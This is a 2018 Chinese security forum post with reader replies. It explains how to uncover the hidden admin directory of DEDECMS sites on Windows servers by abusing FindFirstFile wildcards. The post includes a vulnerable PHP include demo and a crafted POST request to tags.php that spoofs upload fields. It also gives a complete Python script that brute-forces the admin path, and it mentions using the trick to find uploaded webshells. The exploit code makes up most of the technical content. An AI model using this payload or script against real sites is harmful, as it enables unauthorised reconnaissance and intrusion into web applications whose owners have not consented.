用户
搜索
  • TA的每日心情
    无聊
    2018-6-20 18:13
  • 签到天数: 46 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    红日安全团队

    Rank: 7Rank: 7Rank: 7

    14

    主题

    33

    帖子

    938

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2017-3-13

    i春秋签约作者

    Mochazz i春秋作家 红日安全团队 i春秋签约作者 楼主
    发表于 2018-2-26 20:36:48 1811732

    奇技淫巧 | DEDECMS找后台目录

    早上看了先知论坛的这篇文章:解决DEDECMS历史难题--找后台目录 不得不说作者思路确实巧妙,作者巧妙的利用了Windows FindFirstFile和织梦程序代码中对上传图片的逻辑判断,成功在Windows环境下爆破出后台目录。可能一些人不了解Windows FindFirstFile,其实就是Windows在搜索文件时,使用到的一个winapi 函数,有时候我们找不到自己上传的马时,也可以利用它,请阅读下面一段解释:

    目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID 读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell 文件路径,但是当在Windows 下时,我们只需要知道文件所在目录,然后利用Windows 的特性就可以访问到文件,这是因为Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

    利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

    PS:这两段话出自《代码审计--企业级Web代码安全架构》一书。感觉后面一段话有些问题,在实际测试中用“<”或者“<<”都可以读到文件名很长的文件,而作者说“<”只能代表一个字符。

    我们可以尝试一下,新建两个文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php,内容如下:

    # 5149ff33ebec0e6ad37613ea30694c07.php
    <?php
            phpinfo();
    ?>
    # demo.php
    <?php
            $filename = $_GET["file"];
            include $filename.".php";
    ?>

    访问 http://localhost/demo.php?file=5&lt; ,成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

    4

    下面我们再来看看如何使用这种方式,快速爆破处dedecms后台。代码逻辑,先知的 这篇文章 已经讲的很细了,这里直接看具体payload:

    POST /tags.php HTTP/1.1
    Host: 192.168.1.9
    Cache-Control: max-age=0
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
    Upgrade-Insecure-Requests: 1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 132
    
    _FILES[mochazz][tmp_name]=./mo<</images/adminico.gif&_FILES[mochazz][name]=0&_FILES[mochazz][size]=0&_FILES[mochazz][type]=image/gif

    5

    6

    可以看到目录文件存在和不存在,返回结果是不一样的,所以我们可以用python写个简单的爆破程序:

    #!/usr/bin/env python
    '''/*
        * author = Mochazz
        * team   = 红日安全团队
        * env    = pyton3
        *
        */
    '''
    import requests
    import itertools
    characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
    back_dir = ""
    flag = 0
    url = "http://192.168.1.9/tags.php"
    data = {
        "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
        "_FILES[mochazz][name]" : 0,
        "_FILES[mochazz][size]" : 0,
        "_FILES[mochazz][type]" : "image/gif"
    }
    
    for num in range(1,7):
        if flag:
            break
        for pre in itertools.permutations(characters,num):
            pre = ''.join(list(pre))
            data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
            print("testing",pre)
            r = requests.post(url,data=data)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                flag = 1
                back_dir = pre
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
    print("[+] 前缀为:",back_dir)
    flag = 0
    for i in range(30):
        if flag:
            break
        for ch in characters:
            if ch == characters[-1]:
                flag = 1
                break
            data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
            r = requests.post(url, data=data)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                back_dir += ch
                print("[+] ",back_dir)
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
    
    print("后台地址为:",back_dir)

    演示结果:

    7

    评分

    参与人数 2魔法币 +15 收起 理由
    打死我也不说 + 5
    Kernel_C + 10 老哥很稳

    查看全部评分

    本帖被以下淘专辑推荐:

    https://mochazz.github.io
    发表于 2018-3-13 11:39:47
    程序报错了  File "D:\Python27\lib\site-packages\reques
    t
        resp = self.send(prep, **send_kwargs)
      File "D:\Python27\lib\site-packages\reques
        r = adapter.send(request, **kwargs)
      File "D:\Python27\lib\site-packages\reques
        raise ConnectionError(e, request=request
    requests.exceptions.ConnectionError: HTTPCon
    =80): Max retries exceeded with url: /tags.p
    rllib3.connection.HTTPConnection object at 0
    w connection: [Errno 10060] ',))
    使用道具 举报 回复
    发表于 2018-3-4 12:40:31
    先感谢大佬做这个,我测试了一下,检测的时候是不能对aa bb cc dd这样的开始目录进行循环,希望大佬修改一下
    混混混嘿嘿嘿
    使用道具 举报 回复
    gif文件可以选用比较有代表性的,最好dede的多个版本都有
    使用道具 举报 回复
    佩服三连:佩服佩服<<可以可以<<6666
    使用道具 举报 回复
    发表于 2018-2-28 18:33:36
    给大佬刷一波………………666666666666666666666666666
    求知若饥,虚心若愚。
    使用道具 举报 回复
    发表于 2018-3-2 11:12:49
    其实我并没有看得~~希望大佬还解释一下
    小白~~~
    使用道具 举报 回复
    大佬666 学习了 谢谢分享
    使用道具 举报 回复
    发表于 2018-2-27 11:44:39
    大佬666 学习了 谢谢分享
    小白~~~
    使用道具 举报 回复
    骚操作!必须喊666
    使用道具 举报 回复
    发表于 2018-2-27 10:56:19
    使用道具 举报 回复
    发表于 2018-2-27 11:23:11
    大佬666 学习了 谢谢分享
    使用道具 举报 回复
    发表于 2018-2-27 11:44:14
    666学习了
    使用道具 举报 回复
    学习了。
    使用道具 举报 回复
    发表于 2018-2-27 14:25:22
    学习了 大佬
    使用道具 举报 回复
    发表于 2018-2-27 23:23:15
    很强。。。
    使用道具 举报 回复
    发表于 2018-2-28 10:34:17
    谢谢分享
    使用道具 举报 回复
    发表于 2018-3-1 16:50:51
    实测不行
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册